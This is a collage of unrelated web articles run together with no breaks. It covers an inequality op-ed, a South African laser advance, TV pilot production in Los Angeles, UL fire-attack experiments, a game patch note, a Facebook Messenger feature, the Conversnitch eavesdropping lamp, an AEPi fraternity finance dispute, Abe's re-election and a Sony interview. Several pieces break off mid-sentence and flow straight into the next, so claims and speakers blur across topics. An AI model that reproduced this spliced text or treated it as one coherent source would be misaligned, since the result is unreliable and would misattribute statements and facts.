[The researchers] say the findings suggest “policy discussions about rising global inequality should focus on how to equalize the distribution of primary assets, including human capital, financial capital, and bargaining power, rather than merely discussing the ex-post redistribution through taxes and transfers.” They also call for policies to improve education and access to skills, reform labor-market institutions including the minimum wage and worker bargaining power, and “steeply progressive” taxation.
Unfortunately, with the new wrecking crew in Washington, D.C., clearly not only will these recommendations not be heeded but we will be racing in the wrong direction much faster as we await big tax cuts for the very rich and corporations, the decimation of collective bargaining rights, a full-scale assault on public education, and a Labor Secretary that will do anything he can to halt the recent progress made by the Fight for $15 and gut workplace regulations.
Neither the know-nothings in the White House nor the libertarian right wingers in Congress care about economic research. They have an unquestioned faith in the gospel of the unrestrained “free market” where largesse for the rich is welcomed while limits on their economic power are shunned as an assault on “freedom.” Driven by either naked greed or some perverse notion of “God’s plan,” the ideological rigidity of the current hegemony is not likely to change anytime soon.
What this means for the rest of us is that we can count on the kind of policy that will lead to the continued growth of deep economic inequality and all the social costs that come with it. The wall won’t stop it nor will tax cuts, trade war, or deregulation.
Just as denying climate change doesn’t change physics, believing that helping the rich will help the poor doesn’t make it true. And for that matter, neither has decades of Democratic policy that suggested that the only thing that could help address inequality was corporate education reform. That too needs to end.
Yes, we need to fight the right, but if the Democrats do so by offering up recycled neoliberal policy that’s “not as bad as Trump” we’ll never rethink our current economic course and, like the Titanic, our collective journey won’t end well. Visionless policy on the Democratic side is what made it possible for Trump’s bogus “forgotten man” rhetoric to take hold. Progressives have to offer something better, bigger, and bolder that can refocus millions of peoples’ anger at their economic distress.
Offering a starkly alternative vision from the wilderness would be a good way to begin building the future. What we need in this country is a new New Deal that rejects the failed policies that have dug the hole we’re presently in and offers up real solutions rather than telling folks that “America is already great.”
It’s not and we have the numbers to prove it.
Like this: Like Loading...South African scientists have devised a novel way to shape a laser beam, a technological advance they say could have large-scale applications in medicine, telecommunications, and high technology manufacturing.
Derek Hanekom (Image: GCIS)
LCD replaces mirrors
Conventional lasers either do not shape the light at all, or use costly custom-made optics to do so. Now scientists from the Council for Scientific and Industrial Research (CSIR) have created a relatively cheap system that allows them to shape the beam inside the machine."You can decide at a moment's notice the shape you would like," CSIR mathematics optics research group head Andrew Forbes said.The research, announced at a press conference on Tuesday (17 September), was published in the prestigious UK-based journal Nature Communications on 2 August. An international patent application is pending, said Prof Forbes.A typical laser device stimulates the atoms of a medium (such as Argon gas) with radiation so that it emits high-energy light |
more than 26 countries on the planet, and ones like India are conspicuously missing, this is Microsoft's best start yet. Surface Pro disappointments This next list is shorter. Sure, you can gripe about how it's not a laptop, but then you can just get the Surface Laptop or Surface Book. Price is low-hanging fruit as everyone knows Surfaces are priced unusually high – nothing new there. 1. No USB Type-C No USB Type-C or Thunderbolt 3 support is hands-down the biggest disappointment. Microsoft's Vice President of Devices Panos Panay gave me some good reasons for the omission. I'm told there was an extensive debate on the issue internally, too, so it's not like Microsoft simply forgot.Television pilots shot in Los Angeles during the 2016-17 development cycle declined by 14% to 68 shows — a seven-year low — according to an annual survey by the film-permitting agency FilmL.A.
FilmL.A. president Paul Audley told Variety that the decline is due to the changing dynamics of the TV industry, with the streaming services Netflix and Amazon providing more programming that results in a lessening of the overall volume of pilot production.
“Despite this year’s smaller crop of pilots, Los Angeles’ television industry is robust,” Audley said. “With so many projects under way, California is home to more scripted series than its top five competitors combined.”
FilmL.A reported on Wednesday that an overall total of 173 broadcast, cable, and digital pilots (109 dramas, 64 comedies) were produced during the 2016-17 development cycle, while the previous three cycles saw 201, 202, and 203 pilots in each season. Of those 173 pilots, a total of 68 projects (22 dramas, 46 comedies) were filmed in the Los Angeles region, down from 79 in 2015-16, 91 in 2014-15, and 90 in 2013-14.
Pilots shot in Los Angeles for the most recent season include “A.P. Bio,” “Alone Together,” “Amy’s Brother,” “Atypical,” “Brothered Up,” “Brown Girls,” “Champions,” “College-ish,” “Disjointed,” “Distefano,” “Forever Boys,” Charlie Foxtrot,” “For the People,” “American Woman,” “Behind Enemy Lines,” “Counterpart,” “Good Girls,” “Hannah Royce’s Questionable Choices,” “Heathers,” “Here Now,” “Law & Order True Crime: The Menendez Murders,” “Marvel’s Runaways,” “Mayans MC,” “The Orville,” “Rebel,” “S.W.A.T.,” “Sharp Objects,” “Ten Days in the Valley,” “Too Old to Die Young,” “Unit Zero,” “Unsolved: The Murders of Tupac and the Notorious B.I.G.,” “Untitled Kourtney Kang,” and “Get Shorty.”
Related ‘Captain Marvel’ Among Big-Budget Films to Receive California Production Tax Credit
Courtesy of Film LA
FilmL.A. estimated on Wednesday that the 68 L.A.-based pilot projects yielded $303 million in production spending. It also said that the share of overall pilot production by project count remained unchanged for Greater Los Angeles at 39%. Los Angeles saw 79 pilots shot in the region in 2015-16, compared with 24 in New York, 21 in Vancouver/British Columbia, 12 in Atlanta/Georgia, and nine in Toronto/Ontario.
The report also noted that the overall industry saw a total of 65 network, cable, and digital shows ordered straight-to-series in the 2016-17 cycle, including 29 in cable, 27 in digital networks, and nine in broadcast networks.
“When it comes to television, L.A. production has never been stronger,” said Los Angeles County Supervisor Sheila Kuehl. “This report demonstrates that L.A. is still the place to shoot, whether you’re producing pilots or series. And as a former actress, I am well aware of how many jobs each and every one of those episodes generates.”
Courtesy of Film LA
FilmL.A. also reported 173 series currently in production in California, out of a total of 426. That includes 62 L.A.-based drama series, 30 of which received the California Film & Television Tax Credit, which was expanded two years ago. The agency estimated that California-based incentivized series will spend an estimated $1.72 billion during the present season.
“If you grew up in Detroit, someone on your block worked for a car manufacturer or owned a business where autoworkers spent their paychecks. Here in L.A., the same goes for our entertainment industry — it’s the bedrock of our middle class,” noted Los Angeles Mayor Eric Garcetti.
Courtesy of Film LA
“Today’s report further demonstrates the importance of our California Film and Television Tax Credit, which is keeping production where it belongs — in Los Angeles — and making our city home to more scripted television than its top competitors combined,” he said. “We’re hearing a lot of good news from the entertainment industry, but we have to keep investing in our middle class — and that means restoring our market share of pilot production.”
Garcetti told the Hollywood Chamber of Commerce on July 20 that he will push for an increase in California’s production tax incentives to at least $500 million annually — up more than 50% from the current $330 million figure. The current program runs out after the 2019-2020 fiscal year.FIRE SAFETY
Innovating Fire Attack Tactics
Describes the live-fire experiments UL conducted to better understand fire behavior and to test innovative fire attack tactics that can help firefighters more safely and effectively fight modern structure fires.
WHY INNOVATIVE FIRE ATTACK TACTICS MATTER
Firefighters are being challenged by different fireground hazards due to today’s more open floor plans and the use of synthetic materials in furniture and building products.1 These changes have made structure fires more deadly than ever before and call into question traditional firefighting tactics. Innovative fire attack tactics matter because, although they may go against traditional practices, they represent a more effective way to make the fireground safer for both building occupants and firefighters.
CONTEXT
The changes in modern building design and materials have altered the nature of structure fires, with modern homes able to reach flashover eight times faster than homes built 50 years ago.2 This change is largely behind the 67% increase over the past 30 years in the rate of firefighter deaths due to traumatic injuries while operating inside structures.3 And although the overall fire death rate in the U.S. has decreased by 64% during the same period,4 it is clear that modern structure fires can be deadly to both firefighters and building occupants.
Many of the tactics employed by the American fire service have been developed based on personal experience — of individual firefighters and as passed down by their predecessors.5 To the credit of many of these firefighters, their tactics have proven successful in controlling and mitigating the hazards of fire for more than 250 years.6 However, the number of structure fires has decreased by 53% over the past 30 years,7 which has had an unintended consequence of limiting the opportunities for firefighters and fire officers to gain the necessary experience to understand the increasingly complex fires they fight.8
One common practice was for firefighters to fight fires exclusively from inside a burning building during search and rescue efforts.9 There was a widely held belief — supported by anecdotal evidence — that attacking a fire with water from outside the building would push the fire further into the structure, making conditions beyond the fire worse and potentially increasing the risk to firefighters and trapped victims.10 Because of this, the firefighters who were first on the scene would typically pull a fire hose with them as they searched room-by-room for victims while the fire blazed and their colleagues watched outside and waited for them to emerge.11 Given these developments, UL saw a clear need for new insights about fire progression, fire behavior and what happens to the structural integrity of a building under fire conditions. UL also saw a need for improved firefighting tactics that would enable modern structure fires to be fougt more effectively while improving firefighter safety and building occupant survivability.12
WHAT DID UL DO?
UL conducted two sets of full-scale, live-fire experiments to “demystify” the modern fireground — specifically, to better understand modern fire conditions and to evaluate the effectiveness of traditional and new firefighting tactics.13 The first set of live-fire experiments were staged in two houses constructed in UL’s large fire facility in Northbrook, IL.14 These experiments were conducted under the United States Department of Homeland Security (DHS) Assistance to Firefighter Grant Program.15 One of the houses had one story (1,200 ft2, three bedrooms, one bathroom), with a total of eight rooms. The second house had two stories (3,200 ft2, four bedrooms, two and a half bathrooms) and had a total of 12 rooms, a modern open floor plan, a two-story great room and an open foyer. A total of 17 full-scale residential structure fire experiments were conducted in the two houses to examine different ventilation scenarios and a variety of tactics, including controlling the front door, making different sized ventilation holes in the roof and using exterior hose streams.16
The second set of live-fire experiments were funded by the Fire Department of New York (FDNY) and carried out in partnership with the FDNY and the National Institute of Standards and Technology (NIST). The experiments17 were conducted on a series of unoccupied homes on Governors Island. The structures were two-story townhouses with full basements, approximately 800 square feet per floor, concrete block walls, brick exterior, and wood-framed interior walls and flooring systems. The fuel load included real furniture of common construction — wood frame, polyurethane foam, polyester batting and fabric — to simulate current hazards. The furniture was consistent from home to home to enable comparison between experiments. All of the Governors Island experiments were also consistent with the previous room-and-contents fire experiments conducted by NIST and UL. These experiments resulted in ventilation- limited (fuel-rich) fires.
UL used these homes to test a variety of experimental scenarios, including a number of innovative exterior attack tactics. The exterior attack is an offensive approach — analogous to the military concept of “softening the target” — that requires an aggressive attack just prior to entry, search and tactical ventilation.18 UL benchmarked the exterior attack against a traditional offensive attack that is initiated by deploying hoselines inside the structure directly at the seat of the fire.19 The UL experiments showed that the traditional approach is not always the best. Several experiments were conducted in homes with different fire conditions. In one example, in a two-story house, fire was showing from a second floor window:
“Traditional tactics call for the hoseline to be charged in the front of the house prior to entry, but water is usually not flowed onto the fire prior to entry. Even if the interior path to the fire is known, flowing water directly onto the fire is faster from the outside than it is from the inside … In this experiment, temperatures were measured in the hallway just outside the room and in the other bedrooms on the second floor. Twenty-five gallons of water directed off of the ceiling of the fire room from the exterior decreased fire room temperatures from 1,792 degrees F to 632 degrees F in 10 seconds; the hallway temperature decreased from 273 degrees F to 104 degrees F in 10 seconds.”20
The key findings of our experiments show that the common belief about exterior fire attack pushing the fire is unfounded and that innovative fire attack tactics can improve the safety and effectiveness of firefighting efforts:
Water applied via exterior attack does not push the fire.21
The anecdotal experience of firefighters can be explained by one of the following scenarios: 1) A flow path is changed with ventilation and not with water application. 2) A flow path is changed with water when the thermal layer is disrupted and steam moves ahead of the line, elevating the level of heat and creating the impression to those downstream that the fire is being pushed. 3) Turnout gear becomes saturated with energy, which begins to pass through to the firefighter. If this occurs in close proximity to when a hoseline is opened, it might appear that the hoseline caused the rapid buildup of heat. 4) One room is extinguished, allowing air to entrain into another room, which causes that room to ignite, burn more intensely or reach flashover.22
Rather than making conditions more hazardous, applying water directly into the fire compartment as soon as possible results in the most effective means of suppressing the fire.23
Specifically, our research showed that applying a hose stream through a window or door into a room involved in a fire significantly lowered room temperatures everywhere in the home. Even a small amount of water, applied as quickly as possible regardless of where it is from, improved conditions inside the burning home. And in cases where front and rear doors were open and windows had been vented, the application of water through one of the vents enhanced conditions throughout the structure. Our experiments showed that exterior fire attack increases the potential survival time for building occupants and provides safer conditions for firefighters performing search and rescue. In fact, our experiments demonstrated that the traditional practice of increasing ventilation to a ventilation-limited structure fire by opening doors, clearing windows or cutting the roof increased fire hazards and the potential for a rapid transition to flashover.24
While the attack should be commenced from the exterior, to improve conditions for firefighters and building occupants, it must be finished inside.
Applying water to the fire as soon as possible from the outside softens the target and helps firefighters gain the upper hand, but the attack and size-up should be continued from inside the home. Once conditions inside the structure are made safer, continuing the attack from the inside increases the speed and effectiveness of fully extinguishing the fire.25
IMPACT
The UL research provided an enhanced understanding of fire behavior in structures and demonstrated the viability of innovative attack tactics. UL is now working to spread the word to transform the way firefighters think about and approach structure fires. UL is presenting the data from the experiments to the Fire Department Instructors Conference and Fire Rescue International. UL is also sharing the data with the International Society of Fire Service Instructors, the International Fire Service Training Association and the National Fire Protection Association.26 In this way, the innovative tactics tested in UL’s live-fire experiments will help ensure that firefighters around the world more safely and effectively fight modern structure fires.
Sources “Comparison of Modern and Legacy Home Furnishings,” UL, 2010. Web: 20 July 2013. https://www.ul.com/room_fire/room_fire.html Ibid. Fahy, R., Ph.D., “U.S. Fire Service Fatalities in Structure Fires, 1977-2009,” National Fire Protection Association, June 2010. Web: 20 July 2013. http://paramountalarm.info/2010-NFPA-US-Fatalities-In-Structures.pdf “Fire Death Rate Trends: An International Perspective,” U.S. Fire Administration, July 2011, Volume 12, Issue 8. Web: 16 July 2013. http://www.usfa.fema.gov/downloads/pdf/statistics/v12i8.pdf Kerber, S., and Sendelbach, T.E., “What Research Tells Us about the Modern Fireground,” FirefighterNation, 06 June 2013. Web: 19 July 2013. http://www.firefighternation.com/article/strategy-and-tactics/what-research-tells-us-about-modern-fireground Ibid. Fahy, R., Ph.D., “U.S. Fire Service Fatalities in Structure Fires, 1977-2009,” National Fire Protection Association, June 2010. Web: 20 July 2013. http://paramountalarm.info/2010-NFPA-US-Fatalities-In-Structures.pdf Kerber, S., “Examination of the Impact of Ventilation and Exterior Suppression Tactics on Residential Fires,” UL, NIST and the Fire Department of the City of New York, July 2012. Kerber, S., “Study of the Effectiveness of Fire Service Vertical Ventilation and Suppression Tactics in Single Family Homes,” UL, 15 June 2013. Web: 29 July 2013. http://ulfirefightersafety.com/wp-content/uploads/2013/06/UL-FSRI-2010-DHS-Report_Comp.pdf Ibid. Ibid. Kerber, S., “Examination of the Impact of Ventilation and Exterior Suppression Tactics on Residential Fires,” UL, NIST and the Fire Department of the City of New York, July 2012. Kerber, S., and Sendelbach, T.E., “What Research Tells Us about the Modern Fireground,” FirefighterNation, 06 June 2013. Web: 19 July 2013. http://www.firefighternation.com/article/strategy-and-tactics/what-research-tells-us-about-modern-fireground Kerber, S., “Study of the Effectiveness of Fire Service Vertical Ventilation and Suppression Tactics in Single Family Homes,” UL, 15 June 2013. Web: 29 July 2013. http://ulfirefightersafety.com/wp-content/uploads/2013/06/UL-FSRI-2010-DHS-Report_Comp.pdf Ibid. Ibid. Kerber, S., “Examination of the Impact of Ventilation and Exterior Suppression Tactics on Residential Fires,” UL, NIST and the Fire Department of the City of New York, July 2012. Ibid. Ibid. Kerber, S., and Sendelbach, T.E., “What Research Tells Us about the Modern Fireground,” FirefighterNation, 06 June 2013. Web: 19 July 2013. http://www.firefighternation.com/article/strategy-and-tactics/what-research-tells-us-about-modern-fireground Kerber, S., “Study of the Effectiveness of Fire Service Vertical Ventilation and Suppression Tactics in Single Family Homes,” UL, 15 June 2013. Web: 29 July 2013. http://ulfirefightersafety.com/wp-content/uploads/2013/06/UL-FSRI-2010-DHS-Report_Comp.pdf Ibid. Kerber, S., “Examination of the Impact of Ventilation and Exterior Suppression Tactics on Residential Fires,” UL, NIST and the Fire Department of the City of New York, July 2012. Ibid. Ibid. Ibid.Update Notes
Welcome to another Dirty Bomb update. In this one we're making a number of big changes and it's time for another make-over for Proxy.
FRAGMENT CASE UPDATE
INCREASED LOADOUT CASE DROP RATES
OBSIDIAN OPERATIVE PROXY
BUG FIXES
Fixed issue where the individual Merc drop-down filter did not show any Merc Decks
Improved attacking hitbox of the Ulu
Fixed issue where the Founder's Fragger model would incorrectly load at a certain distance
Long story short, Fragment Cases will no longer drop after you complete matches.Short story long, we know that many of you find the Fragment cases a little underwhelming when you earn them and they're added to your inventory, so we thought of a better way for you to earn Fragments in a bit of a more interesting way (Read the next section to find out what)Psst. If you have any Fragment Cases in your inventory, don't worry! Those won't be going anywhere, so you can save them for the memories or open them at your leisure.Enter the replacement for Fragment Cases! We've more than DOUBLED the drop rate of Loadout Cases at the end of matches so your Loadout Card earn rate will increase significantly. But how does this give you more Fragments? Well, if you decide to Recycle the cards you get from these cases you'll be earning a little more Fragments on average over time than you were before.With this update we've also added your Fragment balance to the front-end menu so you always know how many you have. This should also help new and existing players get to know the Crafting system a bit more, making it easier to interact with and giving it more visibility.Skydaddy brought home the bacon in the last update with his epic Obsidian overhaul, but now it's Proxy's turn to bring home a bigger piece of bacon (and hopefully a better metaphor).When trying to describe this Obsidian it's difficult to not use words like "f*****g awesome", "holy s**t" and "very nice". But don't take it from me, check it out in game!*drops mic*Want to chat about it some more? Head on over to the official forums, or check out our social channels+1 Share Pocket WhatsApp 0 Shares
Joining us for the show today is Asmaa Hussein, an Egyptian-Canadian author of the book ‘A Temporary Gift’, where she journals her experiences on losing her husband.
In this episode, we talk about positive and negative ways of dealing with grief, the importance of constantly learning about our faith, how Quran soothes our hearts, how it is normal for a Muslim to be distressed, and letting your emotions heal you.
Connect with Asmaa on Facebook and her Website.
Thank You For Listening!
Did you enjoy this episode? If so, please leave a review for us on iTunes or Stitcher Radio. This helps us get the word out there and in turn, give us the opportunity to benefit more people. Have a Question? Send in your voicemail here. We pray that you enjoyed this season as much as we enjoyed hosting and producing it.According to Facebook, the Messenger app currently has around one billion users. Those users can do a lot of things: order flowers, play games, and bother everyone on their contact list with inane location updates. Now, if a new report is to be believed, users may soon receive creepy conversation topic suggestions from the app.
TechCrunch reports that Facebook is currently experimenting with “conversation topics,” which would provide users with possible material to discuss with friends. Per TechCrunch:
These conversation starters appear to rely on Messenger’s connection to Facebook’s larger social network, as they reference things your friends have done lately – like where they’ve been, or events they plan to attend, for example. … In other cases, the suggested topics might include things like the songs the friend just listened to on a music streaming service, or an event they’ve indicated they’ve said they’re interested via Facebook Events.
Advertisement
Chris Messina, an Uber employee, noticed the feature—which is apparently still in “small test” mode—this weekend, and described it as “clever.”
Sorry, Chris, but “clever” isn’t the word I’d use here. Sure, this feature might be helpful if your Facebook friends aren’t actually friends and are really just random people you went to high school with. But for everyone else, having an easily accessible list of the recent activities and habits of your friends is creepy, not rad. (And besides, if you’re in the first camp, why would you want to initiate conversation with these people anyway, unless it’s the night before Thanksgiving and you’re all like, “Hey, Nick, it’s been a while, but which bar should I show up to tonight?” or, “Hey Maggie, I just got fired, can you put in a good word with your employer?”)
Advertisement
The impulse behind this idea makes sense, sort of. Facebook seems to be trying to help you be a more attentive friend, but the feature really just feels like another reminder that the social network is keeping track of your every move. It’s similar to the already-existing “nearby friends” and “this friend is attending an event near you” features, which are also exceedingly unsettling.
Facebook still appears to be testing things out, so the majority of us are safe from Messenger’s prying eyes for now. (We’ve reached out for more detail on the timeline, and we’ll update if we hear back.) But for now, never forget: Mark is always watching.
[TechCrunch]As former NSA director Michael Hayden learned on an Amtrak train last year, anyone with a smartphone instantly can become a livetweeting snoop. Now a whole crowd of amateur eavesdroppers could be as close as the nearest light fixture.
Two artists have revealed Conversnitch, a device they built for less than $100 that resembles a lightbulb or lamp and surreptitiously listens in on nearby conversations and posts snippets of transcribed audio to Twitter. Kyle McDonald and Brian House say they hope to raise questions about the nature of public and private spaces in an era when anything can be broadcast by ubiquitous, Internet-connected listening devices.
"What does it mean to deploy one of these in a library, a public square, someone's bedroom? What kind of power relationship does it set up?" asks House, a 34-year-old adjunct professor at the Rhode Island School of Design. "And what does this stream of tweets mean if it's not set up by an artist but by the U.S. government?"
The components of Conversnitch, including a Raspberry Pi miniature computer, an LED light source and a plastic flower pot. (Click to enlarge) Photo: Kyle McDonald
The surveillance gadget they unveiled Wednesday is constructed from little more than a Raspberry Pi miniature computer, a microphone, an LED and a plastic flower pot. It screws into and draws power from any standard bulb socket. Then it uploads captured audio via the nearest open Wi-Fi network to Amazon's Mechanical Turk crowdsourcing platform, which McDonald and House pay small fees to transcribe the audio and post lines of conversation to Conversnitch's Twitter account. "This is stuff you can buy and have running in a few hours," says McDonald, a 28-year-old adjunct professor at the Interactive Telecommunications Program at the Tisch School of the Arts.
House and McDonald first tested Conversnitch at the "Prism Break Up" Eyebeam art exhibition in Manhattan last October, but wouldn't say where else they've planted it, citing legal issues. "We recognize that this device can be used in an illegal way, and we will not admit to using it in that way," McDonald says cagily. "It has potentially been deployed in various places."
But a video they've posted online (embedded below) shows two people with obscured faces planting Conversnitch in a light fixture in a New York McDonald's, disguised as a desk lamp in a bedroom and a bank lobby, in a library, and inside a lamp post in Manhattan's Washington Square Park. A glance at the Conversnitch Twitter feed shows fragments of conversations about topics as private as a failed course, a job interview rejection, someone's frayed relationship with his or her boss and criticisms of a politician.
The two artists did caution Mechanical Turk workers to obscure any names mentioned in eavesdropped conversations by reducing them to a single initial. And they admit that the transcriptions they've received are also less than 100 percent trustworthy; they've deleted several tweets amid suspicions that turkers were fabricating quotes.
But if Conversnitch does manage to cause outrage or controversy, all the better, says McDonald. After all, his work first hit the spotlight in 2011 when he installed a program on Apple Store computers that automatically captured images of customers' faces and uploaded them to his server. Apple responded by calling the Secret Service, which executed a search warrant on McDonald's apartment and confiscated two computers.
Conversnitch being planted in a library. House and McDonald obscured the individual's face to avoid legal issues. Photo: Kyle McDonald
In fact, McDonald also participated briefly in an earlier project similar to Conversnitch known as Chattrbot, which recorded conversations in a room and posted bits to Twitter. But Chattrbots creators warned their subjects that they were being recorded and had them agree to a data use policy. That safeguard took all the impact out of the experiment, says McDonald. "I think you have to make things provocative or even dangerous if you want people to pay attention," he says.
He also argues that a tool like Conversnitch is just a taste of the real privacy threats facing Americans in an age of the sweeping NSA surveillance revealed by Edward Snowden; the NSA contractor's bombshell leaks came to light around the same time McDonald and House began working on their project.
"You can't make this stuff up anymore," says McDonald. "Here were Brian and I trying to make something kind of scary, something that makes you wonder if someone's watching you all the time. And then Snowden says, 'They are.'"Two top officials of Alpha Epsilon Pi, the nation’s largest Jewish fraternity, have resigned their leadership positions, citing the group’s refusal to give them its financial records — a possible violation of New York state law.
Michael Fishel, the group’s No. 2 official, who was slated to become its next president, resigned July 18 after fellow board members passed a vote of no confidence in him. He says the vote came in response to his insistence on obtaining copies of the group’s financial statements so he could look into an employee’s claim that the fraternity was running short of cash.
The fraternity, which adamantly denies this claim, declined to comment on the board’s internal deliberations. But it acknowledged that while AEPi was willing to let Fishel review its records, it drew the line on allowing him to have copies of them, despite his status as an executive officer.
“That policy has been in place many years,” said AEPi’s spokesman, Jonathan Pierce. But Fishel said he could not accept this.
“Professionally, I’m a commercial insurance broker,” he said, explaining his resignation. “I know the red flags of crime and fraud. I can’t put myself in that position.”
In June, Barry Schwartz, treasurer of AEPi’s charitable foundation, also resigned. He, too, was unable to obtain records of the foundation’s expense accounts and other documents.
Schwartz, who is an AEPi past president — or “Supreme Master,” as the fraternity dubs its national board heads — wouldn’t specify the reason he resigned. But in an interview with the Forward, he said that in addition to foundation staff expense accounts, “I asked as treasurer for lots of different things. I didn’t get what I wanted.”
Schwartz is a wealth management director at UBS, the Swiss global financial services company, who serves on the boards of several not-for-profit groups. He took note of the increasing emphasis today on strong governance in not-for-profit enterprises. Given these standards, “I decided I was uncomfortable enough that I needed to resign,” he said, but emphasized, “I’m not aware of any financial issues, challenges or problems at AEPi or the foundation.”
Fishel got more of a push out the door. The no-confidence vote against him came after his involvement in the fraternity’s leadership for more than a decade and more than $100,000 in donations he gave the group during that time.
Legal Obligations
During an interview and several email exchanges with the Forward, Pierce denied “absolutely” the existence of any financial irregularities at the fraternity. He noted that Fishel had been offered “access” to financial documents under AEPi’s “long-standing policies” of allowing board members to inspect financial records “at our headquarters in Indianapolis or at any board meetings” — but not to take possession of copies of such documents.
Schwartz, he said, had also been offered a chance to see the records he wanted by Andrew Borans, AEPi’s powerful longtime executive director.
But legal experts consulted by the Forward say that this fails to satisfy the broad rights that board members have to a corporation’s records in New York state, where AEPi is incorporated.
“They have no right to withhold any information from a director,” said William Josephson, the former director of the New York State Charities Bureau, which regulates all tax-exempt organizations in the state.
Under New York state law, Josephson stressed, the right of access for a board director extends to obtaining the records, not just being allowed to review them in a sequestered room.
“For example, if he wanted to consult with counsel about them, he has a perfect right to do so,” Josephson said. “And he’d need to have the records in order to do that. There’s no question about this issue.”
Marcus Owens, a former director of the IRS’s Exempt Organizations Division, termed AEPi’s policy “extraordinary.”
“To have him in a room without the ability to consult experts about the bona fides of the documents is plainly inadequate,” he said. “It’s awfully suspicious they’re treated so confidentially. It’s not like national security is at stake, or proprietary formulas.”
Nevertheless, Pierce said he had confirmed that his group’s practice was “acceptable and normal” among not-for-profit groups like AEPi.
Recent Troubles
The high-level departures at AEPi come following several other controversies. Last year, after two members of the fraternity’s College of Charleston chapter were charged with sexual abuse of a minor at a frat house party, the national office revoked the South Carolina chapter’s charter.
Also last year, a restricted listserve for University of Chicago chapter members revealed a toxic culture riddled with racist comments about blacks, Muslims and Arabs, and crude sexist remarks about overweight women, when its contents were disclosed by BuzzFeed. The national organization pledged to investigate “and, if necessary, work to educate the individual members about this issue.” Fraternity officials said the organization was “especially sensitive to hate speech and behavior towards any minorities.”
Indeed, AEPi has been on the receiving end of bigotry: In 2014 swastikas were spray painted on the AEPi house at Emory University.
Separately, AEPi has also faced allegations from members on some campuses that it pressures and punishes chapters admitting non-Jews into its ranks, even though its mission statement describes the fraternity as “non-discriminatory and open to all who are willing to espouse its purpose and values.” AEPi officials deny the allegations.
Founded in 1913 in Manhattan’s Washington Square Park by a New York University basketball star and several friends, AEPi today claims it has chapters on 190 campuses in seven countries, up from 184 chapters 10 years ago. Its website, however, lists only 185 currently active chapters. Today it is one of just three Jewish frats left in the United States. Its alumni include Harvard dropout Mark Zuckerberg, the musical artists Paul Simon and Art Garfunkel from Queens College, and Wolf Blitzer, of the SUNY-Buffalo chapter.
Financially, Pierce describes the organization — contrary to Fishel’s concerns — as “stronger than it’s ever been.” Still, from fiscal years 2011 through 2014, the most recent years for which records are publicly available, the national fraternity organization of which Fishel was president-elect spent $1 million more than it took in, running deficits in three out of those four years.
Structurally, AEPi consists of three separately incorporated entities: the national fraternity organization, which collects dues from and provides services to the network of campus chapters; the AEPi Foundation, which raises money for the fraternity and its causes and projects, and a not-for-profit real estate enterprise, which holds and manages AEPi chapter houses on campuses.
Pierce stressed that when he spoke of the fraternity’s financial strength, “I meant all three entities.”
Transparency Issues
The financial questions that prompted Fishel’s demand for financial records are arcane and in sharp dispute. But they involve, potentially, millions of dollars. And AEPi’s limited transparency when it comes to providing its own board members with documents has clearly left Fishel with suspicions of misfeasance.
“The Supreme Board of Governors had an hour-long conference call… with Mr. Fishel’s participation,” AEPi’s Pierce replied in response to those suspicions. “During that call he had the opportunity to explain his concerns, listen to the concerns of his colleagues on the board and listen to the responses to his accusations.”
The bottom line, Pierce said, is that “Mr. Fishel’s interpretation of what should have or should have not happened is incorrect.”
Fishel’s concerns about his fraternity’s finances were first aroused in early July, he said, when he got a hushed phone call from an AEPi staff member. The staff member told him that the organization was running short of cash-on-hand. The amount available then, this source told him, was only $400,000 to $600,000.
As the fraternity’s president-elect, Fishel thought this was impossible. Among other things, Fishel said, he knew of an account that had been established a decade ago with some $2.1 million, according to his recollection, to cover uninsured liabilities that could arise at AEPi houses around the world. This “risk management” account should not have been used for other purposes, he said.
With a standard return on investments, plus a continuing flow of funds into the account from student membership dues, Fishel said, “this fund should be $5 to $6 million today.” Instead, he was eventually told, the original sum was $1 million, contrary to his recollection. And it stands at about $1.9 million today.
That’s when disclosure became an issue.
Fishel asked Borans to email him copies of AEPi’s current income statement and balance. Told that confidentiality concerns about email made this unacceptable, he says he asked Borans to simply mail him the documents. AEPi refused this request, too, he says.
“[Our] policy,” Pierce reiterated in an interview, “is not to have financial information sent out. We make [the records] available for review, then we require board members to turn them all in.”
In a testy email exchange, Richard Stein, who chairs the fraternity’s Fiscal Control Board, told Fishel, “Had you picked up the phone and asked questions, they would have been answered.” Referring to a concern Fishel expressed that someone might “tamper” with the books, Stein wrote: “Your approach to incriminate” unnamed AEPi officials “will never be forgotten.” Contacted by phone, Stein referred all questions about AEPi to Pierce.
In a reflection of his own bitterness, Fishel asked that his family’s name “be removed from the award that we established to recognize young alumni and entrepreneurs. Whatever money remains in our family’s fund shall remain untouched until such time as the board of the foundation and I agree on how those funds should be used or distributed.”
Pierce and other AEPi officials contest Fishel’s grievance about missing funds on multiple grounds. In a July 18 memo sent out to fraternity board members, senior board members Jason Oshins (“Supreme Exchequer”), and Eric Farbman and Adam Cohen (“Supreme Governors”), stated that the account in question was never meant to be “untouchable savings.”
“The fund has been used to offset risk management-related expenses as early as 1995,” they state in the memo. A review of the “Risk Management Education Fund,” they add, shows that over the past three years, all expenses for which the fund was used as an offset “were risk management-related” — and thus proper.
Fishel, for his part, cites the addition of continuing revenue from student membership dues and the return to be expected from investments to ask |
introduce measures to strengthen Japan's national security.
Japan and the United States have imposed sanctions on North Korea in addition to tough new measures imposed by the U.N. Security Council after the North tested two intercontinental ballistic missiles and conducted its most powerful nuclear explosion yet.
Abe, who has been Japan's leader since December 2012, easily won a majority of votes in the parliamentary balloting Wednesday.
Abe, 63, dissolved parliament's lower house in late September to force an election. Political analysts saw the move as an attempt to win a new public mandate and re-establish his hold on power after a plunge in approval ratings during the summer.
His Liberal Democratic Party won a large majority in the Oct. 22 popular vote. Together with a junior coalition partner, the Komei Party, it retained a two-thirds majority in the more powerful Lower House.
The victory boosts Abe's chances of being re-elected as LDP leader next September for another three-year term, potentially extending his premiership to 2021.BestMirrorlessCameraReviews posted an interview with three Sony managers. And let’s start with one of the key info regarding A-mount. Mr. Aoki from Sony said:
For the moment, we cannot see mirrorless technology overtaking the translucent sensor technology. Therefore, we want to keep developing both the A mount system and the E mount system. And in Europe, thanks to the Minolta heritage, many customers own Alpha lenses and these customers still want to use their lenses on current Alpha bodies. That’s why this summer we announced the Alpha 77 MK II and we strongly believe that its performance is very good.
There is no word about future A-mount camera and lens development yet but at least we finally got an official statement from Sony about A-mount.
And here are some more key info
1) “when we launched the A7 and A7r, half of the lenses we announced yesterday hadn’t yet been decided”
2) FE lens design development take: “One year to two years. For the easier ones, it takes around one year.”
